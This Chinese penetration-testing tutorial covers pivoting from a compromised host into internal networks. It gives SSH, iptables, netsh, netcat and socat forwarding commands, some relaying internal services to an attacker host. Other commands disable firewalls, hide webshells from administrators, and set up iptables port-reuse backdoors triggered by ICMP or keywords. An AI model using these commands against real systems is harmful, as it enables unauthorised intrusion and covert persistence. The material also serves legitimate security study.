思路

渗透测试中,必须使用代理服务器,所以首先假设我们有一台具有公网IP的服务器,作为攻击机。

内网是相对的,有时进入DMZ区,发现要使用VPN进入目标网段。在这里讨论只一台受害主机的攻击路径,认为是最小元,需要得出一个方法论,这个方法论将适用于更多台受害主机的环境。

如果拿下的受害机在公网开放了端口,并且没有防火墙,可以随意访问它的端口,那么直接可以把它抽象成攻击机。

但是,如果拿下的主机不是开放在公网的,或者说上级具有防火墙意义的设备,那么进行下面的步骤。

一般情况下,都是通过TCP方式访问服务器。

  • 端口映射:通过把目标端口映射到空闲端口打入内网,也可以使用端口复用(如iptables)
  • 正向代理:直接利用这个端口作为隧道打入内网
  • 反向代理:如果条件不允许从外部入站,那么可以使用受害机反向链接攻击服务器

如果目标服务器无法使用TCP出站,那么可以使用UDP隧道,这里就不存在正向反向的概念,而是客户端与服务端的概念了。 有时会遇到设有防火墙的机器,如果是黑名单策略,相对好搞。如果是白名单策略,一般不会禁用UDP,可能会允许出访问外部53端口。 如果连出站的UDP都禁用的话,那么使用ICMP隧道,但在这种场景下,极有可能拦截ICMP包。

大多情况下建立隧道不是很稳定,通常会建立隧道之后利用受害机的ssh服务,启用socks5代理打入内网(配合Socks客户端,proxychains-NG或proxifier)。

首先定义A为攻击机,B为受害跳板机,C为其他机器,也可以为B本身,在后续的介绍中也会用到这些定义。 接下来分清几个概念,只要能够区分mapping(映射)和tunning(隧道)就行。用中文来理解比较隐晦,其实mapping和tunning都属于转发(forwarding),映射也能称作正向的转发,反弹可以理解为反向的转发。

  • 映射:B监听端口,C监听端口,把来自A的请求传递给C,也就是C映射到了B上
  • 隧道:A监听端口,C监听端口,B主动把C的监听端口转发给A,这样AC直接就相当于一条隧道
  • 反弹:A监听端口,B监听端口,先由某种条件触发使B主动链接A

直接转发

这里指网络层与传输层的数据转发

SSH

这里只针对SSH1,首先介绍几个可选参数

1
2
3
4
5
-C 启用压缩,在网络差的情况下使用,也可以用来拖数据
-N 不执行任何命令,只做端口转发
-g 允许远程主机连接到本地转发端口,如果访问受害机本地端口,需要指定此参数
-q 静默模式
-T 禁用伪终端,使用who看不到伪终端用户(但是这里好像不需要)

转发远程端口到本地端口

1
ssh -Ng -L local:13389:target_C:3389 root@victim_B

转发本地端口到远程端口

可能需要在/etc/ssh/sshd_config设置 AllowAgentForwarding yes AllowTcpForwarding yes GatewayPorts yes

1
ssh -N -R remote:3000:local:80 root@victim_B

使用Socks5代理

1
ssh -N -D 127.0.0.1:1080 root@victim_B

iptables端口映射

首先开启系统内核的IPv4转发

1
echo 1 > /proc/sys/net/ipv4/ip_forward

利用NAT对端口进行转发

1
2
iptables -t nat -A PREROUTING -d victim_B -p tcp --dport listen_port -j DNAT --to-destination target_C:target_port
iptables -t nat -A POSTROUTING -d target_C -p tcp --dport target_port -j SNAT --to victim_B

netsh端口映射

使用系统自带端口映射

1
netsh interface portproxy add v4tov4 listenaddress=victim_B listenport=3388 connectaddress=target_C connectport=3389

删除转发规则

1
netsh interface portproxy delete v4tov4 listenaddress=victim_B  listenport=3388

防火墙允许相应入站规则

1
netsh advfirewall firewall add rule name="forwarded_RDP_3388" protocol=TCP dir=in localip=victim_B localport=3388 action=allow

也可以关闭防火墙

1
2
3
4
5
6
# 新版
netsh advfirewall set allprofiles state off
# 旧版
netsh firewall set opmode disable
# 或
net stop mpssvc

查看所有代理

1
netsh interface portproxy show all

netcat

首先在流行的发行版中,大多数NetCat不支持监听端口和程序重定向。 NetCat是非常强大的网络工具,支持扫描,各种数据传输,Ncat是改进版本,这里只介绍网络层面的转发和映射。 SoCat更强大,支持更多种输入输出,支持连接复用。

端口映射

首先在B主机创建FIFO文件,然后把C主机的SSH服务端口映射到B主机的9000端口

1
2
3
4
mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc -vlp 9000 > /tmp/fifo
# 或者
cat /tmp/fifo | nc -vlp 9000 | nc target_C 22 > /tmp/fifo

或者使用socat,这样只能连接一次

1
socat tcp-connect:target_C:22 tcp-listen:9000

使用reuseaddr,reuseport,fork参数,允许多次链接

1
socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22

在A主机用SSH连接B主机的9000端口,就能使用C主机的SSH服务。

1
ssh root@victim_B -p 9000

端口转发

首先,在A主机创建FIFO文件,然后监听8888端口接收来自B主机的转发数据,监听9000端口作为转发服务端口。

1
2
3
4
mkfifo /tmp/fifo
cat /tmp/fifo | nc -vlp 8888 | nc -vlp 9000 > /tmp/fifo
# 或者
cat /tmp/fifo | nc -vlp 9000 | nc -vlp 8888 > /tmp/fifo

或者使用socat

1
socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork

其次,在B主机创建FIFO文件,然后把C主机的SSH服务转发给攻击机监听的8888端口。

1
2
3
4
mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc attacker_A 8888 > /tmp/fifo
# 或者
cat /tmp/fifo | nc attacker_A 8888 | nc target_C 22 > /tmp/fifo

或者使用socat

1
socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888

最后,使用ssh连接A主机的9000端口,即连接到了C主机的22端口

1
ssh root@attacker_A -p 9000

socat

SoCat跟Netcat操作类似,但是更加强大。支持多重不同层次的协议。

1
2
3
4
5
6
7
8
TCP4    TCP IPv4
TCP6 TCP IPv6
UDP UDP协议
UNIX UNIX本地套接字
SCTP4 SCTP IPv4
SCTP6 SCTP IPv6
OPENSSL 安全套接层
SOCKET 套接字

映射操作

1
socat tcp-connect:target_C:22 tcp-listen:9000

使用reuseaddr,reuseport,fork参数,允许多次链接

1
socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22

转发操作

1
2
3
4
# victim_B
socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork
# attacker_A
socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888

UDP隧道

在Linux下,可以使用SoCat,但是在Windows下就不行了

1
socat UDP-LISTEN:8888 tcp-connect:target_C:22

NetCat只要加个-u就行

1
cat /tmp/fifo | nc -vulp 9000 | nc 192.168.1.127 22 > /tmp/fifo

rtcp2udp

https://github.com/ring04h/rtcp2udp

udptunnel

https://code.google.com/p/udptunnel/

ICMP隧道

首先确保这里为0

1
/proc/sys/net/ipv4/icmp_echo_ignore_all

icmptunnel

https://github.com/jamesbarlow/icmptunnel.git

ptunnel

Linux平台

https://pkgs.org/download/ptunnel

Windows平台

https://github.com/ptunnel-win

SCTP隧道

SCTP属于传输层协议,不在防火墙TCP、UDP策略的范围内,Ncat支持,这里使用SoCat,跟端口映射类似,SCTP监听8888端口

1
socat SCTP-LISTEN:8888 tcp-connect:target_C:22

DCCP隧道

大多数Linux不支持

1
2
socat TCP4-LISTEN:8886,reuseaddr,type=6,prototype=33 TCP-CONNECT:target_C:22
socat TCP4-CONNECT:8886,reuseaddr,type=6,prototype=33 TCP-LISTEN:9000

Nginx转发

首先要确保Nginx使用了stream模块

1
2
# 结果返回 --with-stream
nginx -V | grep stream

在nginx.conf加入下面这段

1
2
3
4
5
6
7
8
stream {
server {
listen 88;
proxy_connect_timeout 3s;
proxy_timeout 10s;
proxy_pass 127.0.0.1:22;
}
}

使nginx重载配置

1
nginx -s reload

其他工具

dog-tunnel - 一个代理工具,主要是打洞,同事推荐 EarthWorm - 虫洞,全平台,好评较多,用起来老是断开,不稳定 Termite - 虫洞的下一代蚁群,全平台,想法很好,用起来老是崩溃,体验不怎么好 JSPspy,ASPXspy,PHPspy - 无下载地址,这些WebShell带有tunnel和portmap的功能 fpipe - 考古向,McAfee出品的端口映射工具(Win下) passport - 考古向,XP上的端口转发工具,支持UDP HTran - 考古向,也就是大家口中的lcx,速度一般,但是稳定

应用层隧道

Socks

条件允许的情况下,可以直接在服务器开启Socks服务,然后配合客户端使用。因为简单加上网上数量众多,加上很多工具附带,这里主要使用Socks5(RFC1928),随便列举一些工具。

Go Socks5 C# Socks5 C++ Socks5 py Socks4/5 PS Socks4/5 - 支持端口映射

APT

在MSF下可以使用端口转发和代理功能

1
portfwd add -l 2222 -r target -p 3389

设定路由

1
route add 192.168.0.0 255.255.0.0 1

启用socks4a代理

1
2
3
use auxiliary/server/socks4a
set SRVPORT 2080
exploit -y

CobaltStrike可以在目标上开启Socks4A,转发到Teamserver,然后Teamserver监听端口,等待攻击者连接。

DNS tunnel

iodine - 非常好用的DNS隧道 Dns2tcp - Kali预装的DNS隧道 dnscat2 - 用Ruby写的DNS隧道,还没用过

WebShell tunnel

reGeorg - reGeorg修改版,支持自定义头,优化了连接次数,更加快和稳定 Tunna - 另一款正向代理,新增了自定义Cookie,基础认证,稳定性一般 ABPTTS - 据说是融合了reGeorg和Tunna的优点,更加稳定,兼容性更好,但是不支持自定义HTTP头,找个时间加上去 reDuh - 考古,reGeorg的前身

RMI Deserialized tunnel

TODO, 上次听N1nty大哥分享的JSPspy on RMI,有了这个灵感,找个时间填上去。

复用技巧

有时资源有限,无法再新增资源,这时候需要复用

Webshell

因为有用到WebShell的Tunnel,所以这里稍微提一下。有时,目录下直接新增webshell文件会被管理员发现,这就很尴尬,直接在文件中插入后门,包含一个资源后缀名的webshell。或者修改配置文件,允许解析资源类型文件。也可以加载进内存中,不过重启服务就会失效。

在Nginx中,对于HTTP服务,可以通过路由策略复用端口,解析资源文件类型的Webshell。

TODO, 是否可以实现nginx的stream和http服务共用端口,可能要用到lua。

iptables规则

这里借用N1nty的分享,这里作者介绍当接收到指定特征的数据包,就启用对应规则,首先创建转发规则,然后再创建触发机制。这篇文章在其他安全媒体也有投稿,评论里有自作聪明的人提到根据IP转发,说这种话的是没仔细看文章的。

根据源端口分流

将发送本机 80 端口,源端口为 8989 的流量重定向至本机 22 端口

1
/sbin/iptables -t nat -A PREROUTING -p tcp --sport 8989 --dport 80 -j REDIRECT --to-port 22

本地监听 9000 端口,使用源端口 8989 访问受害机的 80 端口

1
2
socat tcp-listen:9000,fork,reuseaddr tcp:victim_B:80,sourceport=8989,reuseaddr &
ssh [email protected] -p 9000

根据ICMP长度分流

利用 ICMP 做遥控开关。缺点在于如果目标在内网,你是无法直接 ping 到它的。

1
2
3
4
5
6
7
8
9
10
11
12
13
# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22


# 开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT

# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

IP包头20字节,ICMP包头8字节,iptables包长度=ICMP包内容长度+28字节

1
2
3
4
## enable LETMEIN
ping -c 1 -s 1111 victim_B
## disable LETMEIN
ping -c 1 -s 1112 victim_B

根据TCP中关键字分流

利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网。

1
2
3
4
5
6
7
8
9
10
11
12
# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT

# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

这样有一个缺点,就是加入letmein的ip列表是上级代理的IP,所以开启这项规则会影响正常用户的使用。

但是觉得这样已经做的很好了,因为经过IP层会变化,没有空余的字段作为标记。TCP层除了Urgent Pointer这个字段其他都有用,所以只能在内容里做识别,但是这样iptables就没有用了,也偏离了最初的目的,就算在非常极端的环境,宁愿去复用应用层的服务,也不愿意去折腾这个。

1
2
3
4
## enable LETMEIN
echo threathuntercoming | socat - tcp:victim_B:80
## disable LETMEIN
echo threathunterleaving | socat - tcp:victim_B:80

使用IPv6

如果设备支持IPv6,也许端口不被限制,可以尝试。

Linux下使用IPv6地址,要加%号指定接口名

1
2
ssh root@fe80::2e0:4cff:fe68:eae%eth0
ping6 fe80::aefa:5908:5d93:44ba%eth0

Windows下直接使用

1
ping -6 fe80::aefa:5908:5d93:44ba

总结

这只是渗透中的一个小环节,实战时需要对抗入侵检测系统,这方面还是技术盲点。

Reference

远程遥控 IPTables 进行端口复用 iptables - Linux man page